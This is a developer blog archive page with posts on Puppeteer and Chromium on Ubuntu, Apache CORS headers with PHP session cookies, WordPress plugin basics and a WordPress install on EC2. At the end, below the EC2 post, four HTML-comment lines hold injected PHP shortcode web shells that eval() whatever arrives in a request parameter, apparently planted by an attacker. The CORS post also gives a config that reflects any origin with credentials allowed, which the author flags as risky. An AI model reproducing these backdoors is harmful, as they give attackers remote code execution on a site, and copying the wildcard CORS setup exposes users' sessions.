Tag: PHP

Categories
Software Engineering Tutorial

Ubuntu + NodeJS + Puppeteer + Chromium (+ PHP 8.2): The Fixes You Need

Ubuntu + NodeJS + Puppeteer + Chromium Is Hard to Work With

I’m gonna make this as quick as possible because this is likely your 10th article on this.

The particulars of my setup, including using PHP to trigger a NodeJS command as the www-data user from apache2, probably don’t apply to you. That is OK. Most of these fixes having nothing to do with PHP but only occurred because of how PHP runs as a very limited user.

Situation

I wanted NodeJS puppeteer running a headless chromium-browser on an Ubuntu server on AWS EC2 (or any cloud) running a normal Ubuntu AMI but I was triggering the NodeJS script that executed puppeteer via PHP calling to the system so everything was running as the restricted apache2 user “www-data”.

That’s a lot of tech stack.

It Worked Before

My previous server image and server template were Ubuntu 20.x. Once upgrading to Ubuntu 22.x everything broke. It turns out its not just Ubuntu 22 but a lot of potential issues.

Fixes & Tips

Forget my situation we’re here to fix your problem.

Node Verison – Puppeteer Need At Least Node 18

You need at least node 18 to run puppeteer. You can check your current node version via `node -v`

Are You Using nvm?

You may be using nvm to manage your node versions, like many many people.

This can make your situation confusing. Because nvm is per user.

If your user trying to run puppeteer + chromium-browser has nvm you need to make sure nvm is using at least Node 18.

When nvm installs a new version of NodeJS for a user it doesn’t set that version to the default version. You have to do that manually. Here is a command which will do that & insure that every time that user tries to execute a NodeJS script it uses the version of NodeJS you want.

nvm alias default 18

Restricted Users, like www-data, Cannot Have nvm

Restricted users cannot have nvm. So how do they manage NodeJS versions?

Restricted users like www-data use the global node version. This is the version of node installed on the server for all users, similar to other packages you install via apt-get install.

You need to make sure this version of node is fully upgraded to Node 18 or greater as well.

npm install

You probably ran npm install in your project directory. It installed puppeteer and puppeteer installed a version of chromium-browser.

Things have now officially become a mess. Welcome to package hell.

Errors

Can’t Find Chromium

Error: Could not find Chrome (ver. 119.0.6045.105). This can occur if either 1. you did not perform an installation before running the script (e.g. `npm install`) or 2. your cache path is incorrectly configured (which is: /var/www/.cache/puppeteer). For (2), check out our guide on configuring puppeteer at https://pptr.dev/guides/configuration.

This was happening to me.

I tried to solve the issue by hardcoding my “executablePath” in the puppeteer.launch call. That made my situation worse: everything would hang and timeout without errors when I manually supplied the correct executablePath. Do not hardcode “executablePath”: ‘/usr/bin/chromium-browser’ in your puppeteer.launch config.

Fix:
You want to be running the set of packages you installed from your package.json and not any other versions. Duh, right? Well, that means you need to make sure you know where they are.

When you execute this NodeJS script from some other process you probably forgot to change directories as part of your system call. Even if you specified the full path to the script that actual process, running as the restricted user you may not actually be in the right place. If that’s the case… it will try to use the global install of puppeteer. If that exists it will try to find Chromium in some weird place and it never will. Check where you are and where NodeJS thinks it’s getting the packages from: 

pwd; npm root;

Whoops! You’re not in the right place! But look what we just did: we combined shell commands with that semicolon. Do the exact same thing in your system calls before invoking your NodeJS script as your restricted user then it will look in the right place.

cd /path/to/project; node index.js

That means you also probably want to remove any *global* versions of puppeteer you think you installed. Why? Because it’s very likely your restricted user may run the global version. The global package will run and suddenly your project will return an error on puppeteer.launch that it can’t find Chromium because it’s looking in some weird place. Perhaps you had installed it previously, who knows, ditch the global version if you can.

npm -g uninstall puppeteer

Remember, the /var/www/ is PHP specific, that may not apply to you.

Ubuntu Snap Issue

user.slice/user-1000.slice/session-270.scope is not a snap cgroup

system.slice/apache2.service is not a snap cgroup

This is happening to thousands of people. Why? Ubuntu 22. It shipped with a new type of package management called Snap which lets packages download as the complete packages rather than piling up dependencies. It also locks them off a little bit more. You don’t need to know or care about it right now because NO MATTER WHAT YOU DO YOU CANNOT FIX SNAP.

Why? Because this article is about me running on AWS EC2 or any other cloud hosting. You don’t have kernel access like this on the Ubuntu AMI! You can’t fix this even with a boot script. Don’t bother with DBUS_SESSION_BUS_ADDRESS and don’t bother with systemd.unified_cgroup_hierarchy=0 and don’t bother with any of it that’s for the schlubs running Ubuntu on desktop or neckbeards with kernel access.

Fix:
I’m very sorry but your only option will be to download the Debian version of chromium-browser from some random person’s package repository. This person is allegedly an engineer at Cisco and it’s all public and on the up-and-up but there’s any other way around it. By installing the deb version of chromium-browser it will let you use headless chromium-browser without snap or snap cgroups.

sudo apt remove chromium-browser
sudo snap remove chromium
sudo add-apt-repository ppa:saiarcot895/chromium-beta
sudo apt update
sudo apt install chromium-browser

Other Fixes for Random Errors

Those errors above are so gnarly down the rabbit hole I had to write this entire blog post. The rest of the errors are a cake walk.

Permissions: Add args To puppeteer.launch

You forgot the args for puppeteer.launch

const browser = await puppeteer.launch({
                "headless": "true",
                args: ["--no-sandbox", "--disabled-setupid-sandbox"],
            });

More Permissions

You may need to explicitly set the cacheDirectory on puppeteer.launch. You need to figure this location out yourself and make sure any restricted users have permissions to get at it.

const browser = await puppeteer.launch({
                "headless": "true",
                "cacheDirectory": "/path/to/my/.cache/puppeteer",
                args: ["--no-sandbox", "--disabled-setupid-sandbox"],
            });

I Just Saved Your Project.

You owe me a follow on Twitter: @kickiniteasy

Categories
Create A Blog Software Engineering

SUCCESS! Old WordPress Articles Are on the New WordPress Blog!

Just as the title describes I managed to import all of the old WordPress articles in to the new WordPress blog! This is great news because Google had been annoying me with emails about how I was missing the articles. They must have been really popular!

How Did I Do It ???

All I had from the previous blog was a MySQL dump of the database. This made it a little difficult because I couldn’t see a visual reference of the old blog. I ended up importing the old database dump in to a new database on the same MySQL database server.

After that I wrote a custom PHP script which connected to the old database (made from the dump) that then selected any published posts and looped through to gather their categories and tags then inserted them in to the new blog’s database. I think it went pretty well!

If I get some requests for it I can post my PHP script on Github but I think there are probably more useful tools out there for backing up and exporting a WordPress blog it was just quick and easy for me to make a script. I highly recommend using the explicit Export and Import feature already built in to WordPress

Categories
Software Engineering

Apache + Ubuntu + CORS + Multiple Subdomains + PHP Session Cookies + XHR Credentials

Overview:

I recently had to do a little hunting around for an issue related to everything you see in the title.

It was frustrating because I wanted to allow * domains to be able to send requests and the Stack Overflow comments are mostly about IIS servers or the ones with Apache directives as examples don’t seem to work or don’t handle full wildcard.

I should mention that allowing full wildcard Access-Control-Allow-Origin with XHR credentials enabled can be a security risk.

Here’s how to get a CORS request working with Ubuntu Apache and PHP across multiple subdomains and have the PHP session ID cookie send correctly on every request and how to handle some of the errors you may encounter.

Situation:

I was making an AJAX request from one subdomain (https://subdomain1.example.com) to a different subdomain on the same root domain (https://subdomain2.example.com).

I had already called a PHP session_start(); for the user on a page on the subdomain I was making the request to. This means the user has an active PHP $_SESSION on https://subdomain2.example.com.

I had set the PHP $_SESSION to use cookies at the root domain.

I had Header set Access-Control-Allow-Origin "*" in my .htaccess file.

I was using the following setup for calling session_start() on top of the PHP defaults. Be careful setting cookies at your root domain, they will be sent along with *all* futures requests to *all* subdomains:

ini_set('session.use_cookies', 'On');
ini_set('session.use_trans_sid', 'Off');
ini_set('session.cookie_domain', '.example.com');
session_set_cookie_params(0, '/', '.example.com');
session_name('example_session');
session_start();

Expected:

When making an AJAX CORS request the cookies, (and therefore the PHP $_SESSION session_id() being passed as a cookie) the should be sent along correctly with the HTTP request.

Actual:

All cookies, including the PHP $_SESSION session_id(), are not being passed along as part of the request.

Errors:

You may see this situation manifest as number of errors in your Javascript Developer Console.

Error:  The 'Access-Control-Allow-Origin' header contains multiple values , but only one is allowed.

Reason: You are trying to set more than 1 value for Access-Control-Allow-Origin

Solution: Use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request is. (If you would like to use wildcard domains please see the solution further down the page for wildcards.)

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\.example\.com(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>

Error:  The 'Access-Control-Allow-Origin' header has a value that is not equal to the supplied origin.

Reason: You are already setting a Access-Control-Allow-Origin or you are setting it incorrectly. You may be making multiple Header set Access-Control-Allow-Origin statements (because there can only be one domain set the last one overwrites any previous set commands.)

Solution: Use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request is. (If you would like to use wildcard domains please see the solution further down the page for wildcards.)

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\.example\.com(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>

Error:  The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

Reason: You are trying to set "*" for your Access-Control-Allow-Origin but when you are using credentials you can only set it to 1 specific subdomain.

Solution: If you want to use a full wildcard style entry to accept requests from any origin and let them send in cookies then use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request origin is. The first SetEnv handles the root domain wildcard and the second SetEnv handles the wildcard subdomains.

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\..+(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1
SetEnvIf Origin ^(https?://.+\..+\..+(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>

Error:  The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

Reason: You are trying to send along the cookies as part of the AJAX request but your server is not current accepting the incoming cookies from the origin domain using Access-Control-Allow-Credentials

Solution: Use an Apache statement in your .htaccess file to always accept incoming credentials (aka cookies)

Code:

<IfModule mod_headers.c>
Header always set Access-Control-Allow-Credentials true
</IfModule mod_headers.c>

Error:  The PHP $_SESSION cookie is not being passed correctly to the server. It is not available in $_COOKIE and new calls to session_start() create a session with a new ID.

Reason: You are not correctly sending along the cookies with the AJAX request.

Solution: Use jquery AJAX and set the xhrFields to have withCredentials set to true

Code:

$.ajax({
xhrFields: {
withCredentials: true
}
});

New WordPress Plugin is Live! Check out Domain Check

Just Launched a WordPress Plugin: Domain Check!

One of the reasons this blog has been lagging behind in awesome content is because its been building up a backlog of awesome content until this moment because Domain Check has launched! Domain Check is a WordPress plugin born of my own needs from years of working at web companies. You have no idea how complicated it gets when you have multiple, possibly hundreds of, domains and SSL certificates all coming up for renewal with various internal properties and clients and what’s parked and what shouldn’t be renewed… you get the idea. There’s no comprehensive tool out there for managing your domains within your WordPress admin, so Domain Check was created.

Domain Check Features

A quick overview of Domain Check is basically that you can have a quick display of all your domain names and SSL certificates and easily what’s coming up for renewal or expiration and make sure multiple people are getting alerts. Its a bit of a pain in the butt to set up multiple email alerts for expiration across multiple registrars and SSL certificate providers, especially when dealing with domains or certs provided by clients. Domain Check also keeps a list of what you’re searching so you can see you favorite domains that are available if you aren’t buying your domain name today.

Fresh Coupons and Coupon Codes Delivered Daily

One of the highlight features of Domain Check is the daily coupon delivery. No more searching for coupons and finding they don’t work or going to shady coupon sites searching for a deal. Every day the latest coupons and deals are updated a delivered directly to you. There is finally no excuse for not using coupons! (Something I am guilty of my admins have to remind me of all the time)

Domain Check is an Official WordPress.org Plugin

Yes, it is true, Domain Check is an official WordPress plugin! You can download the latest version from WordPress to manage all of your domains and SSL certificates and easily keep the latest version up-to-date. Use your WordPress blog as a dashboard for managing your domains and make sure

WordPress Plugin Development Is Intense

Given How Deep WordPress Plugins Go, Its Basically A Whole App Store

The amount framework and the depth of plugin development make WordPress a natural choice. That’s why I’m shamelessly running on it. But it turns out all the serious business code that helps everyone do everything so easily is actually pretty complicated to work with. You need to understand the hook and action stack, how good plugins structure their code, the release process, the upgrade process, and the various types of store marketing. There is a whole world full of oceans of WordPress. Its crazy intense. Working in Silicon Valley or some other kickass tech startup its really easy to forget the size of these small markets are actually pretty enormous and the tools are not as simple as it may seem.

Where To Start With WordPress Plugin Development?

Create a directory in the /wp-content/plugins directory. Don’t be a rookie, only use lowercase letters, numbers, and dashes. That means don’t use caps, spaces, or weird special characters. Create a PHP file in that directory with the same name. Add some comments to the top:

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/

Make a class, name the class your plugin’s name. Overload the constructor. Instantiate the class after the declaration. Create a public method in the class called admin_menu. In the constructor you’ll hook in to WordPress. WordPress lets you specify functions you want called after their core code runs specific functions. Its like throwing an event but basically they just keep an list of you functions and call them after they do something. Look for add_action() and you’ll see you can get your functions called after plugin activation, plugin deactivation, you can add things to admin menu, etc.

Copy and Paste My Boring Example WordPress Plugin

<?php

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/
class BoringExamplePlugin {

//constructor for wp-plugin object
public function __construct() {

//activate
register_activation_hook(__FILE__, array($this, 'activate_plugin'));

//deactivate, (this will delete db tables, wp-plugin options, etc.) 
register_deactivation_hook(__FILE__, array($this, 'deactivate_plugin')); 

//actions
add_action('init', array($this, 'init'));
add_action('plugins_loaded', array($this, 'plugins_loaded'));

}

//when your plugins gets activated
public function activate_plugin() {}
 
//when you get deactivated :-(
public function deactivate_plugin() {}

//every time WordPress loads & ur active
public function init() {}

//after plugins are loaded
public function plugins_loaded() {}

}

new BoringExamplePlugin();

?>

You could read their docs or you could look at this garbage plugin and other, classier free plugins. Your choice but if you’re a good programmer you’ll probably look at some other free plugins. Sorry for the shitty formatting and honestly who knows if this compiles I wrote it in a freaking WYIWYG editor bruh.

First Post! Server Is Live On EC2 with WordPress…

Hello World, EC2, and WordPress

Its really not a big deal to get a server running in a new deployment with Amazon AWS EC2 and WordPress (WP). You can find tons of articles all over the Internet if you don’t have the knowledge yourself. For a typical WordPress deployment I don’t even normally recommend running an EC2 server given the ops overhead of an EC2 deployment. But if you’re well past a hello world and comfortable spinning up servers in the cloud then EC2 is the obvious choice. If you aren’t technical you’re better off using someone like Bluehost and their WordPress install.

Create an Instance, Have a Key

I picked Ubuntu because I’m lazy. If you’re using WordPress stock to get running you should be running a LAMP (Linux, Apache, MySQL, PHP) stack to save some hassle. That is pretty much some AWS 101 stuff we’re not looking at that here. Sorry kiddies. If you’re using EC2 you need SSH keys through AWS IAM. Get your shiz running, SSH on to your server, sudo and then come back.

Confusing Code

This will either confuse you or this is some simple shit for you. Take what you need from here if you don’t have it installed.

#packages
sudo apt-get install lamp-server^
sudo apt-get install apache2-utils
sudo apt-get install php5-geoip
sudo apt-get install php5-intl
sudo apt-get install php5-curl

#apache
a2enmod expires
a2enmod deflate
a2enmod rewrite

#wordpress
wget http://wordpress.org/latest.tar.gz
tar -xzvf latest.tar.gz -C /var/www/html/

Setup for EC2 and WordPress details

As usual WordPress annoyingly unpacks in to a wordpress directory. Setup your Apache vhost to point to /var/www/html/wordpress or wherever you installed WP. Then follow the usual nonsense of setting up WordPress.

Create a database and a database user with a password. Don’t forget to grant the permissions. Copy the wp-config-sample.php over and set the values for your DB user. Create your .htaccess file, don’t be a shmuck at least use htpasswd on your wp-login and wp-admin. What’s the point of EC2 if you’re not gonna trick this sucker out?

htpasswd -c /var/www/html/.htpasswd yourhtpasswdusername

WordPress .htaccess file

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

<FilesMatch "wp-login">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Login"
Require valid-user
</FilesMatch>

<FilesMatch "wp-admin">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Admin"
Require valid-user
</FilesMatch>

Done? Done. DONE. Wait…

I mean kinda? Go to your URL and you’ll see the installation process. After that apparently there are a million fields to fill out. And let’s not forget your whole situation with root owning the files in /var/www/html and what about FTPing and your SSH keys with user permissions and how WordPress updated its themes and plugins… OH WOW. Yeah, see, you just installed WordPress on EC2 and there it is glowing brightly in the night with a default theme and post and you realize… a dev’s work is never done.

<!– [insert_php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/insert_php][php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/insert_php][php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/insert_php][php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/insert_php][php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/php] –>